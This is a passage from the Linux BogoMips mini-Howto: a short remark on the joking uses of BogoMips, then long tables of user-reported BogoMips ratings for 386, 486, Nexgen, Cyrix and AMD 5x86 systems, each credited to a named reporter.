    • BIOS-software emulated fake cache (change it for real cache)
    • similar cache and clock related things, sometimes also BIOS-software related
  2. To see whether your system is faster than mine. Of course this is completely wrong, unreliable, ill-founded, and utterly useless, but all benchmarks suffer from this same problem. So why not use it? This inherent stupidity has never before stopped people from using benchmarks, has it? :-)

Note that more serious uses for real benchmarking are addressed in the Linux Benchmarking Howto by André D. Balsa.


BogoMips mini-Howto: Compilation of ratings

 Next Previous Contents

3. Compilation of ratings

The following table gives some reported BogoMips ratings for various systems: more than 1200 entries by more than 1000 different persons, from approximately 50 different countries.

Note that the ratings here are from the actual Linux booting sequence, except of course for the section on Non-Linux Systems.

Some entries are marked with an '*'. See the chapter above about the 'New algorithm?' for explanation.

3.1 386 systems: SX, DX, Nexgen

   System              BogoMips  Reporter
   386SX/8 undercl        1.04   Andrew Costa <c_chaos@wahnapitae.on.ca>
   386SX/12               1.78   Klaus Kettner <kk@sesom.de>
   386SX/16               1.99   James Vahn <jvahn@short.circuit.com>
   386SX/16 Packard Bell  2.05   <root@Belvedere\%hip-hop.suvl.ca.us>
   386SX/16               2.09   David E. Fox <dfox@belvedere.sbay.org>
   386SX/16               2.15   W Stevens <wgsteven@math.uwaterloo.co>
   386SX/16               2.2    Lech Marcinkowski <puolalm@tekla.fi>
   386SX/16               2.23   Andrew Bulhak <acb@yoyo.cc.monash.edu.au>
   386SX/16               2.23   Steven M. Gallo <smgallo@cs.buffalo.edu>
   386SX/16               2.34   Kevin Burtch <kburtch@pts.mot.com>
   386SX/16 turbo         2.38   Andrew Haylett <ajh@gec-mrc.co.uk>
   386SX/16 0c            2.43   Adam Clarke <adamc@loose.apana.org.au>
   386SX/16               2.49   Waymon <waymon@pacifier.com>
   386SX/20               2.7    Alex Strasheim <astrashe@nyx.cs.du.edu>
   386SX/20               2.70   J.L. Brothers <brothers@halcyon.com>
   386SX/20               2.89   Anders Stenback <stenback@hehe.com>
   386SXL/25 AMD          2.9    Vaughan R. Pratt <pratt@sunburn.stanford.edu>
   386SX/25 AMD 0c        3.06   K.J. MacDonald <kenny@festival.ed.ac.uk>
   386SX/25 AMD           3.38   Hamish Coleman <hamish@zot.apana.org.au>
   386SX/25 0c            3.52   Rogier Wolff <r.e.wolff@et.tudelft.nl>
   386SL/25 Intel         3.57   S Harris <harris@teaching.physics.ox.ac.uk>
   386SX/25 AMD           3.62   S Harris <harris@teaching.physics.ox.ac.uk>
   386SXL/25 AMD 0c       3.71   David E.A. Wilson <david@cs.uow.edu.au>
   386SX/33 Intel         3.92   Yves Bellefeuille <yan@storm.ca>
   386SX/33 Intel         4.06   Kenneth J. Hoover <ken@psuedvax.psu.edu>
   386SX/33               4.71   Alexander Komlik <apkom@l.ukrcom.kherson.ua>
   386SX/40 Intel 0c      6.03   Michael Kenyon <u3g12@keele.ac.uk>

   386DX/16               2.49   Mike <mike@emgee.demon.co.uk>
   386DX/20 Intel         3.0    Malcolm Reeves <reeves@rocky1.usask.ca>
   386DX/20 Intel         3.08   Si. Harris <harris@teaching.physics.ox.ac.uk>
   386DX/20 Nec Powermate 3.22   David J Dawkins <davidd@isl.co.uk>
   386DX/20 Micronics     3.25   M Haardt <u31b3hs@informatik.rwth-aachen.de>
   386DX/20               3.67   Joost Helberg <jhelberg@nlsun8.oracle.nl>
   386DX/25               3.91   Ian McCloghrie <imcclogh@cs.ucsd.edu>
   386DX/25               3.95   Grant Edwards <grante@aquarius.rosemount.com>
   386DX/25 0cache        3.96   J.O. Williams <jow@techbase.com>
   386DX/25 32cache       4.53   J.M.A. Lahtinen <jmalahti@klaava.Helsinki.FI>
   386DX/33               5.86   Tim Lacy <timla@microsoft.com>
   386DX/33 64cache       5.99   Lars Wirzenius <wirzeniu@kruuna.Helsinki.FI>
   386DX/33 Intel         5.99   Harri Pasanen <hpasanen@cs.hut.fi>
   386DX/33 no387         6.03   Joel B.Levin <levin@bbn.com>
   386DX/33 387           6.03   Peter Bechtold <peter@fns.greenie.muc.de>
   386DX/40               6.21   J.L. Brothers <brothers@halcyon.com>
   386DX/33               6.46   Dennis Robinson <djrobins@uxa.cso.uiuc.edu>
   386DX/33               6.5    Dean Nelson <deannelson@aol.com>
   386DX/33 387 256cache  6.65   Wim van Dorst <baron@clifton.hobby.nl>
   386DX/33               6.65   Rick Lim <ricklim@opus.freenet.vancouver.bc.ca>
   386DX/33               6.7    Craig Hagan <hagan@cih.com>
   386DX/40               6.99   Ken Wilcox <wilcox@math.psu.edu>
   386DX/40 AMD           7.76   Joe Phillips <rchandra@letter.com>
   386DX/40 AMD           7.10   Kerry Person <kperson@plains.NoDak.edu>
   386DX/40               7.10   D. Bikram Singh <a336dhal@cdf.toronto.edu>
   386DX/40 128cache      7.23   Julian Francis Day <jfd0@aber.ac.uk>
   386DX/40 bogoboosted   7.23   Pat St Jean <stjean@math.enmu.edu>
   386DX/40 AMD 128cache  7.23   R.Bergs <rabe@akela.informatik.rwth-aachen.de>
   386DX/40 slow DRAM     7.26   John Lockwood <lockwood@pan.vlsi.uiuc.edu>
   386DX/40 128c          7.29   Karsten Friese <ftdkafr@ftd.ericsson.se>
   386DX/40               7.29   E.C. Garrison <ericg@nickel.ucs.indiana.edu>
   386DX/40               7.29   Darin Cowan <cowan@rubicon.org>
   386DX/40               7.29   Bonne van Dijk <bonne@cs.utwente.nl>
   386DX/40 AMD           7.76   Todd Lindner <tlindner@panix.com>
   386DX/40               7.76   Bear Giles <bear@indra.com>
   386DX/40 AMD 387 64c   7.91   <wires@gnu.ai.mit.edu>
   386DX/40               7.98   Frank Pilhofer <fp@informatik.uni-frankfurt.de>
   386DX/40 64c           7.98   Dean Junk <dpjunk@mm.com>
   386DX/40 AMD 32c       7.98   Tommy Olsen <tommyo@ifi.uio.no>
   386DX/40 AMD           7.98   James Reith <reith@racores.com>
   386DX/40               7.98   Aaron T. Baldie <atb@u.washington.edu>
   386DX/40 128c          7.98   John Pate <jpate@easynet.co.uk>
   386DX/40               7.98   Christian Nelson <cnelson@csugrad.cs.vt.edu>
   386DX/40               7.98   Alan Peckham <peckham@drei.enet.dec.com>
   386DX/40               8.06   Michael Guslick <michaelg@alpha2.csd.uwm.edu>
   386DX/40               8.06   Richard Brown <brown@midget.towson.edu>
   386DX/40               8.06   Bill G. Bohling <bs146@tali.uchsc.edu>

   Nx586/90 NexGen       67.44   <root@wgw.mnsinc.com>
   Nx586/90 NexGen       67.44   Robert Gehring <rag@cs.tu-berlin.de>
   Nx586/90 NexGen       67.48   David G. Eckard <dgeckard@eos.ncsu.edu>
   Nx586/100 NexGen      74.34   Cameron L. Spitzer <cls@truffala.sj.ca.us>
   Nx586/100 NexGen 256c 74.56   Marius Groenendijk <marius@cray-systems.lu>
   Nx586/110 NexGen 256c 81.51   Michael J. Micek <mmicek@muddcs.cs.hmc.edu>
   Nx586/110 NexGen      81.51   Ron Marsh <rmarsh@plains.nodak.edu>

3.2 Oddly or faultily configured 386 systems

   System              BogoMips  Reporter
   386DX/16 387 nocache   0.57   H. Peter Anvin <hpa@nwu.edu>
   386DX/25               0.82   P Wright <philip.wright@purplet.demon.co.uk>
   386DX/25 nocache       1.03   Mark A. Horton <mahmha@crl.com>
   386SX/16               1.5    Stefan Kromer <sk@galaxy.sunflower.sub.org>
   386SX/16               1.6    Bill Davidsen <davidsen@tmr.com>
   386SX/20               1.87   Paul C. Dulany <pcdulany@wam.umd.edu>
   386SX/20               2.45   Roger Harkess <roger@visi.com>
   386DX/25(?) 128c       6.03   Chuck Meo <meo@solbourne.com>
   386DX/20              13      Ed Runnion <erunnio@hubcap.clemson.edu>

3.3 486 systems

   System             BogoMips   Reporter
   486SX/20 DECpc         9.98   Thomas Pfau <pfau@cnj.digex.com>
   486SX/25              12.24   M. Buchenrieder <mibu@scrum.greenie.muc.de>
   486SX/25              12.3    Darren McKay <e9bh@unb.ca>
   486SX/25              12.42   Mark R. Lindsey <mlindsey@nyx.cs.du.edu>
   486SX/25              12.42   Samuel Thibault <samuel.thibault@fnac.net>
   486DX/25              12.5    Phillip Hardy <phillip@mserve.kiwi.gen.nz>
   486SX/25              12.52   Emmanual Emore <emor7672@elan.rowan.edu>
   486DX/33 256c         16.33   Eric Kemminan <ekemmina@pms709.ms.ford.com>
   486DX/33              16.35   Christopher L. Morrow <cm43@andrew.cmu.edu>
   486DX/33              16.43   Rob Janssen <pe1chl@amsat.org>
   486DX/33 64cache      16.44   H. Peter Anvin <hpa@nwu.edu>
   486DX/33 256c DIY     16.44   Wouter Liefting <wlieftin@cs.vu.nl>
   486DX/33 Intel 128c   16.44   Rafal Kustra <g1krakow@cdf.toronto.edu>
   486DX/33              16.5    Alex Freed <freed@europa.orion.adobe.com>
   486DX/33              16.6    Vaughan R. Pratt <pratt@Sunburn.Stanford.EDU>
   486DX/33 noturbo      16.61   C Vetter <cbvetter@informatik.th-darmstadt.de>
   486DX/33              16.61   Jeffrey L. Newbern <jnewbern@athena.mit.edu>
   486DX/33              16.61   Giuseppe De Marco <gdemarco@freenet.hut.fi>
   486DX/33              16.61   M Heuler <heuler@informatik.uni-wuerzburg.de>
   486DX/33              16.61   Frank Lofaro <ftlofaro@unlv.edu>
   486SX/33              16.64   Jacob Papenfuss <webmaster@the-corridor.com>
   486SX/33              16.64   Samuel Thibault <samuel.thibault@fnac.net>
   486DX/33              16.77   Donald Lewis <dlewis@jackson.freenet.org>
   486DX/33              16.77   Stephan Boettcher <staphan@alzt.tau.ac.il>
   486DX/33 256c         16.77   David Manchester <mustang@tartarus.uwa.edu.au>
   486DX/40              19.8    Jose Calhariz <cal@minerva.inesc.pt>
   486DX/40              19.91   M Heuler <heuler@informatik.uni-wuerzburg.de>
   486DX/40              19.96   David A. Ranch <dranch@ecst.csuchico.edu>
   486DX/40 AMD          19.97   M Haardt <u31b3hs@informatik.RWTH-Aachen.DE>
   486DX/40 Intel        19.97   Paul van Spronsen <vspr@teppic.sun.ac.za>
   486DX/40              19.97   Ulf Tietz <ulf@rio70.bln.sni.de>
   486DX/40              19.97   <Eberhard_Moenkeberg@p27.rollo.central.de>
   486DX/40              19.97   Zoltan Lajber <lajbi@lajli.gau.hu>
   486DX/40              19.97   Wim van Dorst <baron@wiesje.hobby.nl>
   486DX/40 AMD          20      Chuck Munro <chuckm@canada.hp.com>
   486DX/40 AMD          20.09   Pieter Eendebak <peendebak@bbsw.idn.nl>
   486DX/50              24.48   Arnd Gehrmann <arnd@rea>
   486DX/50 AMD          24.85   Klaas Hemstra <hst@mh.nl>
   486DX/50 DTK          24.85   Randolph Christophers <randyc@lna.oz.au>
   486DX/50              24.85   Kevin Lentin <kevinl@bruce.cs.monash.edu.au>
   486DX2/50             24.85   Jason Matthew <jmatthew@kn.pacbell.com>
   486DX2/50             24.85   Gregory P. Smith <smithgr@cs.colorado.edu>
   486DX/50 VLB          24.97   Tom Miller <tvtom@en.com>
   486DX/50              24.99   Jeff <css@erols.com>
   486DX/50 Intel 256c   24.99   Mike <mike@emgee.demon.co.uk>
   486DX/50              25      Robert Herzog <rherzog@rc1.vub.ac.be>
   486DX2/50             25      M. Abrahamsson <swmike@uplift.df.lth.se>
   486DX2/50             25.0    Christian Holtje <choltje@ux1.cso.uiuc.edu>
   486DX2/50 DECpc       25.04   Thomas Pfau <pfau@cnj.digex.com>
   486DX2/50 Eisa        25.04   John Willing <willing@cimage.com>
   486DX2/50 256c        25.04   Zhou Yanmo <zhou@gauss.math.usf.edu>
   486DX/50              25.04   Michael Kress <kress@hal.saar.de>
   486DX2/50             25.04   Mats Wikholm <mwikholm@news.abo.fi>
   486DX2/50             25.04   Jean C Delepine <delepine@linux.u-picardia.fr>
   486DX/50              25.04   Jean C Delepine <delepine@linux.u-picardia.fr>
   486DX/50              25.04   Kevin Burtch <kburtch@pts.mot.com>
   486DX/50 notebook     25.04   Pierre Frenkiel <frenkiel@cdfap1.in2p3.fr>
   486DX/50              25.10   M Heuler <heuler@informatik.uni-wuerzburg.edu>
   486DX2/50             25.4    Brian Kennedy <bkenned@hubcap.clemson.edu>
   486DX2/66             32      Lee Sau Dan <h9210876@khuxa.hku.hk>
   486DX2/66             32.87   Samuel Thibault <samuel.thibault@fnac.net>
   486DX2/66             32.9    Frederick <niles@axp745.gsfc.nasa.gov>
   486DX2/66             33      Alec Muffett <alecm@uk-usenet.uk.sun.com>
   486DX2/66             33      NN <coolefa@pmifeg.com>
   486DX2/66             33      Steve Tinney <sjt@enlil.museum.upenn.edu>
   486DX2/66 Intel       33      Chuck Munro <chuckm@canada.hp.com>
   486DX2/66 VLB         33.0    Sebastien Dedieu <dedieu@emi.u-bordeaux.fr>
   486DX2/66 AMD         33.05   G. Skinner <gskinner@gwsunix1.crystalball.com>
   486DX2/66 VLB         33.18   Pablo Iranzo Gomez <iranzop@gong.ci.uv.es>
   486DX2/66 VLB         33.18   Dag Wieers <dag@digibel.be>
   486DX2/66             33.18   Remco den Besten <besten@rdr.nl>
   486DX2/66             33.20   Arnd Gehrmann <arnd@rea.com>
   486DX2/66 Intel/PCI   33.22   C. Menke <carsten.menke@post.uni-bielefeld.de>
   486DX2/66             33.22   Brian Ricker <gt2327c@prism.gatech.edu>
   486DX2/66             33.22   Don Bennett < <don@engr.mun.ca>
   486DX2/66             33.22   Robert Heller <heller@cs.umass.edu>
   486DX2/66             33.22   Warwick Ward-Cox <wwar@lostlink.alt.za>
   486DX2/66             33.22   Chien-An Chen <giant@nwu.edu>
   486DX2/66 Eisa/VL     33.22   Serge <sviznyuk@magnus.acs.ohio-state.edu>
   486DX2/66 AMD         33.22   Wayne Robinson <wayner@renoir.cftnet.com>
   486DX2/66 Intel       33.22   Jim Barber <yeul@marsh.cs.martin.edu.au>
   486DX2/66             33.22   Tom Lowery <tlowery@mcs.kent.edu>
   486DX2/66             33.27   S Viznyuk <sviznyuk@magnus.acs.ohio-state.edu>
   486SX2/66             33.28   Jacob Papenfuss <root@the-corridor.com>
   486DX2/66             33.3    Devon Tuck <devon@netcom.com>
   486DX2/66 256cache    33.4    H. Peter Anvin <hpa@nwu.edu>
   486DX2/66             33.5    Jongyoon Lee <mr2@netcom.com>
   486DX2/66             33.5    Petrovsky Alexey <gong@cs.msu.su>
   486DX2/66             33.5    Sung Lee <slee2@umbc.edu>
   486DX2/66             33.55   Gene McCulley <mcculley@greatwall.cctt.com>
   486DX2/66             33.55   W. Zeilinger <wzeil@doradus.ast.univie.ac.at>
   486DX2/66             33.55   Donald Lewis <dlewis@jackson.freenet.org>
   486DX2/66             33.55   Eric Malkowski <malk@world.std.com>
   486DX2/66 0c          33.55   Chris Petit <mystere@ix.net.com>
   486DX2/66             33.55   <al-b@minster.york.ac.uk>
   486DX2/66             33.55   Jesper de Jong <jesper@cas.et.tudelft.nl>
   486DX2/66             33.55   John Paul Morrison <jmorriso@bogomips.com>
   486DX2/66             33.55   Arash <ei39594@ios.chalmers.se>
   486DX2/66             33.55   Ralph Lewis <rlewis@mail.wsu.edu>
   486DX2/66             33.55   Ulisses Alonso Camaro <alonso@bebe.uv.es>
   486DX2/66             33.55   Bussmann <bussmann@wolpi.infomatik.uni-bonn.de>
   486DX2/66 Intel/PCI   33.55   Louis J. LaBash <labash@lcjones.aclib.siue.edu>
   486DX2/66 Intel       33.55   Andrew Tubbiolo <enigma@seds.lpl.arizona.edu>
   486DX2/66             33.55   W Fink <werner.fink@physik.uni-stuttgart.de>
   486DX2/66 ICL         33.55   Mathias Koerber <mathias@solomon.technet.sg>
   486DX2/66             33.55   Bill Pogue <gwp@dithots.dithots.org>
   486DX2/66 256c        33.58   Theo Scott <rkwtgs@pukrs3.puk.ac.za>
   486DX2/66             33.7    C Triantafillou <triant@pegasus.montcleair.edu>
   486DX2/66 256c Intel  33.81   S Harris <harris@teaching.physics.ox.ac.uk>
   486DX2/66             33.9    Magnus Back <erambk@eraj.ericsson.se>
   486DX2/66 notebook    33.9    Robert A Knop <rknop@mop.caltech.edu>
   486DX2/66             34.06   Al Clark <aclark@netcom.com>
   486DX4/75 notebook    37.38   January W <jweiner1@ix.urz.uni-heidelberg.de>
   486DX4/75             37.47   G Asmundarson <grettir@wordperfect.com>
   486DX2/80             39.83   Samuel Thibault <samuel.thibault@fnac.net>
   486DX2/80             39.93   Andrew Tubbiolo <enigma@seds.lpl.arizona.edu>
   486DX2/80 overcl/66   39.94   Mario L. Guttierez <mgutier@mentor.sdu.edu>
   486DX2/80 AMD         39.94   Corey D Brenner <brenner@umr.edu>
   486DX2/80             39.94   Dan Delaney <cgdela01@homer.louisville.edu>
   486DX2/80             39.94   D t Haar <danny@caution.cistron.nl.mugnet.org>
   486DX2/80 overcl      39.94   Peter Suetterlin <ps@kis.uni-freiburg.de>
   486DX2/80 overcl      39.94   Alex Montaron <canal@multimania.com>
   486DX2/80 AMD         39.94   JL Gomez <kitana!sysop@caprica.com>
   486DX2/80 AMD         39.94   Pete Krawczyk <pkrawczy@uiuc.edu>
   486DX2/80 AMD         40      Rene Baart <baart@simplex.nl>
   486DX2/80 AMD         40      Wolfgang Kalthoff <wo@rio70.bln.sni.de>
   486DX2/80             40.0    Rick Brown <ccastrb@prism.gatech.edu>
   486DX2/80 AMD         40.14   Jon Lewis <jlewis@inorganic5.chem.ufl.edu>
   486DX2/80 AMD         40.14   Richard S. Stone <rstone@edgp.com>
   486DX2/80             40.15   Oleg <oleg@hpcms.co.il>
   486DX2/80 AMD         40.18   Adri Verhoef <a3@a3.xs4all.nl>
   486DX2/80             40.18   Mats Andtbacka <mandtback@abo.fi>
   486DX2/100 AMD overcl 49.14   Jon Lewis <jlewis@inorganic5.chem.ufl.edu>
   5x86/100 AMD undercl  49.66   NN <root@tailor.aleim.net>
   486DX4/100            49.66   Pete Cervasio <cervasio@airmail.net>
   486DX4/100 256c       49.71   Lutz Pressler <lutz.pressler@med-stat.GWDG.de>
   486DX4/100            49.71   Brett Gersekowski <bgrerseko@powerup.com.au>
   486DX4/100 Intel 256c 49.77   Angelo Haritsis <ah@doc.ic.ac.uk>
   5x86/100 AMB undercl  49.77   Bernd Hentig <bernd.hentig@guug.de>
   486DX4/100            49.78   Aurel Balmosan <aurel@xylo.owl.de>
   486DX4/100            49.87   Chris Saia <minkie@concentric.net>
   486DX4/100            49.87   Aaron Brick <abrick@dcc.uchile.cl>
   486DX4/100            50      Donald Lewis <dlewis@jackson.freenet.org>
   486DX4/100            50.02   Peter Skov Knudsen <gogol@ask.diku.dk>
   486DX4/100            50.02   Shadow Weaver <djamison@students.wisc.edu>
   486DX4/100 AMD        50.3    Dave <shodan@shodan.clark.net>
   486DX4/100 AMD        50.04   Tony Smolar <asmolar@fast.net>
   486DX4/100            50.05   fredk <fredk@shadow.net>
   486DX4/100            50.06   Ronald Prague <ronp@fisnet.net>
   486DX4/100            50.08   Matt Gisher <matt@matt.fidalgo.net>
   486DX4/100            50.08   Steven A. Duchene <sduchene@cis.ysu.edu>
   486DX4/100            50.08   Miles O'Neal <meo@schoneal.com>
   486DX4/100            50.08   Will <zxmvg07@hp12.zdv.uni-tuebingen.de>
   486DX4/100            50.08   Piet de Bondt <bondt@dutiws.twi.tudelft.nl>
   486DX4/100 laptop     50.08   Karl Kleinpaste <karl_kleinpaste@cs.cmu.edu>
   486DX4/100 256c       50.08   Thomas Kanschik <y0000997@ws.rz.tu-bs.de>
   486DX4/100            50.08   Linas Vepstas <linas@fc.net>
   486DX4/100            50.08   Ed Daiga <daiga@engin.umich.edu>
   486DX4/100 notebook   50.08   Gerry Quejada <fd863@cleveland.freenet.edu>
   486DX4/100 AMD        50.08   B Schuller <schuller@ind136a.wi.leidenuniv.nl>
   486DX4/100            50.08   J.L. Brothers <brothers@halcyon.com>
   486DX4/100            50.08   David E.A. Wilson <david@cs.uow.edu.au>
   486DX4/100            50.08   Mark Lumsden <root@titan2.physics.mcmaster.ca>
   486DX4/100            50.08   Ashar <ashar@netcom12.netcom.com>
   486DX4/100            50.08   Jacob Waltz <waltz@pcjiw.lampf.lanl.gov>
   486DX4/100            50.08   Tom Sinclair <sinner@cafe.net>
   486DX4/100 AMD        50.08   G. Skinner <gskinner@gwsunix1.crystalball.com>
   486DX4/100 AMD        50.08   Nick Savoiu <nick@ritz.mordor.com>
   486DX4/100            50.08   Thomas J Fisher <twb5odt@nmia.com>
   486DX4/100            50.08   Pascal Pensa <pensa@aurora.unice.fr>
   486DX4/100            50.08   Julian Bradbury <julian@xabcs.demon.co.uk>
   486DX4/100            50.51   Frederic Potter <frederic@swing.ibp.fr>
   486DX4/100            50.66   Bill Stegers <bill_ste@zeelandnet.nl>
   486DX4/120 256c       59.1    Kevin <kalichwa@oakland.edu>
   486DX4/120 AMD        59.80   Mark Tranchant <mat92@ecs.soton.ac.uk>
   486DX4/120 AMD        59.80   Fred Broce <fbroce@atlanta.com>
   486DX4/120 AMD        59.90   Marko Ovaska <ovaska@cc.helsinki.fi>
   486DX4/120 AMD        59.80   Bob Purdon <bobp@mpx.com.au>
   486DX4/120 AMD        59.80   Pat Young <dice@netbsd.warped.com>
   486DX4/120            59.91   Will <zxmvg07@hp12.zdv.uni-tuebingen.de>
   486DX4/120 AMD 256c   60.01   Angelo Haritsis <ah@doc.ic.ac.uk>
   486DX4/120 overcl     60.45   Pascal Pensa <pensa@aurora.unice.fr>
   486DX4/120            60.45   Neal Howard <neal@metronet.com>
   486DX4/120 AMD        60.45   Oscar Belmar Madrid <obelmar@anakena.usach.cl>
   486DX4/120            60.45   Jason Buchanan <jsb@digistar.com>
   486DX4/120            60.45   Foersterling <dirk@informatik.uni-frankfurt.de>
   486DX4/120            60.45   Bernd Hentig <bernd@finow.snafu.de>
   5x86/133 AMD          66.15   NN <root@tailor.aleim.net>
   5x86/133 AMD          66.15   Brad Wilson <bwilson@deltanet.com>
   5x86/133 AMD          66.15   Paul S. Doyle <paul.doyle@mci.com>
   5x86/133 AMD          66.44   P Yli-Krekola <perttu@ntcmar01ba.ntc.nokia.com>
   5x86/133 AMD          66.44   V. Tailor <vtailor@ibm.net>
   5x86/133 AMD          66.55   Andrew B. Cramer <cramer@ripco.com>
   5x86/133 AMD          66.56   Bob Nielsen <nielsen@primenet.com>
   5x86/133 AMD          66.65   Geoff Raye <gtraye@igsrsparc2.er.usgs.gov>
   5x86/133 AMD          66.7    Klaas Hemstra <hst@mh.nl>
   5x86/133 AMD          66.80   N.N. <vp24njcb@ubvms.cc.buffalo.edu>
   5x86/133 AMD   256c   67.10   Vasily Lewis
   5x86/133 AMD          67.10   James Reith <reith@racores.com>
   5x86/133 AMD   256c   67.10   Yves Rougy <yrougy%siam@cal.fr>
   5x86/133 AMD   256c   67.10   Peter A. Koren <pkoren@lvdc20.dseg.ti.com>
   5x86/133 AMD   256c   67.10   Wim Joppe <joppe@xs4all.nl>
   5x86/133 AMD   256c   67.10   Gunnar Stefansson <gunnars@rhi.hi.is>
   5x86/133 AMD   256c   67.10   Vernard Martin <vernard.martin@cc.gatech.edu>
   5x86/150 AMD overcl   74.75   Sergio Riveros <riveros@musca.unm.edu>
   5x86/150 AMD overcl   74.75   Arthur K. Chan <artchan@cs.ucr.edu>
   5x86/160 AMD overcl   79.87   M.Suencksen <msuencks@techfak.uni-bielefeld.de>
   5x86/160 AMD overcl   79.87   J. Chris Hammond <cosmo@pcisys.net>
   5x86/160 AMD overcl   79.87   Bird Chen <luca@linux.taiwan.hp.com>
   5x86/160 AMD overcl   79.89   Geir Skaugen <geir.skaugen@energy.sintef.no>
   5x86/160 AMD overcl   79.89   Martin Vernon <martin@gw6hva.demon.co.uk>
   5x86/160 AMD overcl   79.92   T. Zerucha <zerucha@shell.portal.com>
   5x86/160 AMD overcl   80.36   Paul Colucci <pcolucci@acsu.buffalo.edu>
   5x86/160 AMD overcl   80.36   Steinar Haug <sthaug@nethelp.no>
   5x86/160 AMD overcl   80.36   James Daniel <triadmin@bga.com>
   5x86/160 AMD          80.36   David H.S. Oh <david@std.net>

3.4 Oddly or faultily configured 486 systems

   System              BogoMips  Reporter
   486DX/33 0c            1.45   Mark Gray <vatavian@gvu1.gatech.edu>
   486SL/25 0c            1.95   Paraskevas Evripidou <skevos@seas.smu.edu>
   486DLC/40 0c           2.45   S.Schendel <sschend@magnus.acs.ohio-state.edu>
   486DX/33 128c          2.94   P.J. Nefkens <p.nefkens@student.utwente.nl>
   486DX4/120 AMD         3.04   Andrew Steinbach <stei0113@maroon.tc.umn.edu>
   486DX5/133 AMD         3.05   Eric Hagen <ehagen@hawaii.edu>
   486DX4/100 Cyrix       3.06   Stuart Harvey <sharvey@primenet.com>
   486DX5/133 AMD         3.06   Charles Galpin <chg@severn.wash.inmet.com>
   486DX4/100             3.06   Bear Giles <bear@indra.com>
   486DX2/80              3.08   Gerald E. Butler <gbutler@phoenix.kent.edu>
   486DX4/120 AMD         3.08   Charles Hines <chuck_hines@vnet.ibm.com>
   486DX4/66 256c         3.10   Riccardo Capella <mc8508@mclink.it>
   486DX4/100 wb-cache    3.10   Paul Close <pdc@sgi.com>
   486DX4/120             3.13   Brian Perkins <bperkins@netspace.com>
   486DX4/120 AMD         3.15   <eruston@net2.intserv.com>
   486DX4/100             3.17   Thomas Sudbrak <sudbrak@borneo.gmd.de>
   486SLC2/50 Cyrix       3.30   Colin J. Wynne <cwynne@sage.wlu.edu>
   486DX/33               3.61   Marten van de Laan <marten@cs.rug.nl>
   486DX/33 noturbo       3.61   Dimitris Evmorfopoulos <devmorfo@mtu.edu>
   486DX4/120             3.74   Brian Wheeler <bdwheele@indiana.edu>
   486DX4/120 AMD         3.74   Frank Pilhofer <fp@informatik.uni-frankfurt.de>
   486DX4/100 Cyrix 256c  4      Joel Kelso <joel@cs.murdoch.edu.au>
   486DX/33 256c noturbo  4.25   Wouter Liefting <wlieftin@cs.vu.nl>
   486DX/33               4.66   Mark Gray <vatavian@gvu1.gatech.edu>
   486Rx2 Cyrix 25/50     4.85   <cosc19v2@menudo.uh.edu>
   486SX/33 noturbo       5.21   Scott D. Heavner <sdh@fishmonger.uucp>
   486DX2/66 overdrive    5.37   Jeremy Orr <jeremy@careercenter.sfsu.edu>
   486DX/33               5.66   Ryan Tucker <rtucker@ttgcitn.com>
   486DX2/66              5.88   P.J. Nefkens <p.nefkens@student.utwente.nl>
   486DX4/100             5.94   Howard Goldstein <hg@n2wx.ampr.org>
   486DX4/100 AMD         5.94   Mr Pink <vince@dallas.demon.co.uk>
   486DX4/100 notebook    6.55   Thomas <tom@dirac.physik.uni-konstanz.de>
   486DX4/100 notebook    6.55   Hugh McCurdy <hmccurdy@ix.netcom.com>
   486SLC Cyrix           7      Pieter Verhaeghe <pive@uia.ac.be>
   486SX/33               7.84   Paul Hedderly <prh6@unix.york.ac.uk>
   486DLC/40              7.98   Wil Cromer <nwc2@Ra.MsState.Edu>
   486DX/33 256c          8.27   Rohan Tronson <rohan@kihi.com.au>
   486DX4/100            11.11   NN <usenet@uxmail.ust.hk>
   486DX4/100            11.3    Earl Gooch <egooch@mc.com>
   486/66 Cyrix          13.02   Mike Baptiste <baptiste@bnr.ca>
   486SLC2/25            14.6    Vaughan R. Pratt <pratt@Sunburn.Stanford.EDU>
   486DX2/66 laptop      14.46   Robert Knop <rknop@netcom.com>
   486SLC2/66            18.94   <root@avalon.net>
   486DX/33 turbo        19.98   C Vetter <cbvetter@informatik.th-darmstadt.de>
   486DX4/75             21.5    Theo Scott <rkwtgs@pukrs3.puk.ac.za>
   486DX4/75             24.13   Sherman Hsieh <shieh@csua.berkeley.edu>
   486DX2/58             26.3    Vassili Leonov <leonov@iedv7.acd.com>
   486DX4/100 overclock  28.67   Theo Scott <rkwtgs@pukrs3.puk.ac.za>
   486DX2/80             36      Mark Lee <mlee@heartlab.rri.uwo.ca>
   486DX4/100 TI         39.94   Andre Lehrbach <lehrbach@redamp.com.br>
   486DX2/80             50.08   Mark Lee <mlee@heartlab.rri.uwo.ca>
   486DX4/100            60      Sebastien Dedieu <dedieu@emi.u-bordeaux.fr>
   486DX2/100 overclock  60.45   Tony D Shan <tdsst9+@pitt.edu>
   486DX5/133 AMD        75.40   Jeff Hyche <jwhyche@scott.net>
   486DX5/133 AMD        80.08   NN <guesta@slip-29-7.ots.utexas.edu>
   486DX5/133 AMD        87      John Wiggins <jwiggins@comp.uark.edu>

3.5 486 variations: Cyrix/IBM, UMC

   System                BogoMips  Reporter
   486DLC/33                 9.42  Dennis Robinson <djrobins@uxa.cso.uiuc.edu>
   486DLC/33 387DX/40        9.47  Denis Solaro <drzob@vectrex.login.qc.ca>
   486DLC/33 Cyrix wb        9.5   M. Asplund <matt@xenon.cchem.berkely.edu>
   486DLC/33 Cyrix 386      11.2   Alex Freed <freed@europa.orion.adobe.com>
   486DLC/40 256c           11.33  Schendel <sschend@magnus.acs.ohio-state.edu>
   486Dx/40 Cyrix           11.73  Malcolm Bremer <malcolm@strw.LeidenUniv.nl>
   486DRx2/40 Cyrix         13.10  Christopher Lau <clau@acs.ucalgary.ca>
   486DX/33 Cyrix           13.21  M Haardt <u31b3hs@informatik.RWTH-Aachen.DE>
   486DLC/40 bogoboost      13.21  Harry Pasanen <ps@tekla.fi>
   486DLC/40 487 Cyrix      13.21  Ian A. Verschuren <iav@po.CWRU.Edu>
   486DCL Cyrix             13.3   Tracer Bullet P.I. <ges@earth.baylor.edu>
   486DLC/40                13.31  Adam Frampton <frampton@access2.digex.net>
   486DLC/40                13.31  Rick Chow <crc@cacs.usl.edu>
   486SLC-S/33              13.51  Brad Pepers <pepersb@cuug.ab.ca>
   486DLC/40 no Cxpatch     15.47  Sergei O. Naoumov <serge@envy.astro.unc.edu>
   486DLC/40 TI 128c        15.97  Philip K. Roban <phil@seal.micro.umn.edu>
   486DLC/40 Cyrix          15.97  L.J. LaBash <labash@lcjones.aclib.siue.edu>
